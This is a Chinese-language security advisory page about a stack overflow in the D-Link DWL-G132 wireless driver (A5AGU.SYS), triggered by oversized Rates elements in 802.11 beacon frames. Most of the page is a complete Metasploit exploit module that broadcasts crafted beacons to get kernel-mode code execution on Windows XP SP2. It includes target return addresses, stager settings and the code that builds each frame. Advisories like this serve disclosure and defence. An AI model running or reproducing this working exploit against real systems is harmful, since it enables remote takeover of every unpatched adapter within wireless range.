首页 -> 安全研究

安全研究

安全漏洞
D-Link DWL-G132 ASAGU.SYS无线设备驱动栈溢出漏洞

发布日期:2006-11-13
更新日期:2006-11-16

受影响系统:
D-Link DWL-G132
描述:
BUGTRAQ  ID: 21032

D-LINK DWL-G132是一款高性能802.11g无线网卡。

D-Link DWL-G132无线网卡的A5AGU.SYS驱动存在栈溢出漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。

如果所接收到的802.11信标请求的Rates信息单元大于36字节的话,就会触发这个漏洞,导致执行任意代码。由于溢出是通过信标帧触发的,因此攻击范围内的所有网卡都受到影响。

<*来源:H D Moore (hdm@metasploit.com
        Matt Miller (http://www.leviathansecurity.com/)
        LMH (lmh@info-pull.com
        Johnny Cache (johnnycsh@802.11mercenary.net
  
  链接:http://secunia.com/advisories/22860/
        http://projects.info-pull.com/mokb/MOKB-13-11-2006.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

require 'msf/core'

module Msf

class Exploits::Windows::Driver::DLink_DWL_G132_WiFi_Rates < Msf::Exploit::Remote

    include Exploit::Lorcon
    include Exploit::KernelMode    

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow',
            'Description'    => %q{
                This module exploits a stack overflow in the A5AGU.SYS driver provided
            with the D-Link DWL-G132 USB wireless adapter. This stack overflow
            allows remote code execution in kernel mode. The stack overflow is triggered
            when a 802.11 Beacon frame is received that contains a long Rates information
            element. This exploit was tested with version 1.0.1.41 of the
            A5AGU.SYS driver and a D-Link DWL-G132 USB adapter (HW: A2, FW: 1.02). Newer
            versions of the A5AGU.SYS driver are provided with the D-Link WUA-2340
            adapter and appear to resolve this flaw, but D-Link does not offer an updated
            driver for the DWL-G132. Since this vulnerability is exploited via beacon frames,
            all cards within range of the attack will be affected. The tested adapter used
            a MAC address in the range of 00:11:95:f2:XX:XX.
            
            Vulnerable clients will need to have their card in a non-associated state
            for this exploit to work. The easiest way to reproduce this bug is by starting
            the exploit and then accessing the Windows wireless network browser and
            forcing it to refresh.
            
            D-Link was NOT contacted about this flaw. A search of the SecurityFocus
            database indicates that D-Link has not provided an official patch or
            solution for any of the seven flaws listed at the time of writing:
            (BIDs 13679, 16621, 16690, 18168, 18299, 19006, and 20689).
            
            This module depends on the Lorcon library and only works on the Linux platform
            with a supported wireless card. Please see the Ruby Lorcon documentation
            (external/ruby-lorcon/README) for more information.
            },
            
            'Authors'        =>
                [
                    'hdm',    # discovery, exploit dev
                    'skape', # windows kernel ninjitsu
                    'Johnny Cache <johnnycsh [at] 80211mercenary.net>' # making all of this possible
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 3583 $',
            'References'     =>
                [
                    ['URL', 'http://projects.info-pull.com/mokb/MOKB-13-11-2006.html'],
                    ['URL', 'ftp://ftp.dlink.com/Wireless/dwlg132/Driver/DWLG132_driver_102.zip'],
                ],
            'Privileged'     => true,
                        
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },

            'Payload'        =>
                {
                    # Its a beautiful day in the neighborhood...
                    'Space'    => 1000
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # Windows XP SP2 with the latest updates
                    # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
                    [ 'Windows XP SP2 (5.1.2600.2122), A5AGU.sys 1.0.1.41',
                        {
                            'Ret'      => 0x8066662c, # jmp edi
                            'Platform' => 'win',
                            'Payload'  =>
                            {
                                'ExtendedOptions' =>
                                {
                                    'Stager'       => 'sud_syscall_hook',
                                    'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                                    'Recovery'     => 'idlethread_restart',
                                    'KiIdleLoopAddress' => 0x804dbb27,
                                }
                            }
                        }
                    ],
                    
                    # Windows XP SP2 install media, no patches
                    # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
                    [ 'Windows XP SP2 (5.1.2600.2180), A5AGU.sys 1.0.1.41',
                        {
                            'Ret'      => 0x804f16eb, # jmp edi
                            'Platform' => 'win',
                            'Payload'  =>
                            {
                                'ExtendedOptions' =>
                                {
                                    'Stager'       => 'sud_syscall_hook',
                                    'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                                    'Recovery'     => 'idlethread_restart',
                                    'KiIdleLoopAddress' => 0x804dc0c7,
                                }
                            }
                        }
                    ]                    
                ],


            'DefaultTarget' => 0
            ))
            
        register_options(
            [
                OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
                OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
            ], self.class)
    end
    
    def exploit
        open_wifi
        
        stime = Time.now.to_i
        rtime = datastore['RUNTIME'].to_i
        count = 0
        
        print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
        while (stime + rtime > Time.now.to_i)
            wifi.write(create_beacon)
            select(nil, nil, nil, 0.10) if (count % 100 == 0)
            
            count += 1
            
            # Exit if we get a session
            break if session_created?
        end
        
        print_status("Completed sending beacons.")
    end


#
# The following research was provided by Gil Dabah of ZERT
#
# The long rates field bug can be triggered three different ways (at least):
# 1) Send a single rates IE with valid rates up front and long data
# 2) Send a single rates IE field with valid rates, follow with IE type 0x32 with long data
# 3) Send two IE rates fields, with the second one containing the long data (this exploit)
#

    def create_beacon

        ssid   = Rex::Text.rand_text_alphanumeric(6)
        bssid  = ("\x00" * 2) + Rex::Text.rand_text(4)
        src    = ("\x90" * 4) + "\xeb\x2b"
        seq    = [rand(255)].pack('n')

        buff  =  Rex::Text.rand_text(75)
        buff[0, 2]  = "\xeb\x49"
        buff[71, 4] = [target.ret].pack('V')
        
        frame =
            "\x80" +                      # type/subtype
            "\x00" +                      # flags
            "\x00\x00" +                  # duration  
            eton(datastore['ADDR_DST']) + # dst
            src   +                       # src
            bssid +                       # bssid
            seq   +                       # seq  
            Rex::Text.rand_text(8) +      # timestamp value
            "\x64\x00" +                  # beacon interval
            "\x00\x05" +                  # capability flags
            
            # ssid tag
            "\x00" + ssid.length.chr + ssid +

            # supported rates
            "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +

            # current channel
            "\x03" + "\x01" + channel.chr +

            # eip was his name-o
            "\x01" + buff.length.chr + buff +

            payload.encoded
                                
        return frame
    end

end
end

建议:
厂商补丁:

D-Link
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.dlink.com/

浏览次数:4117
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障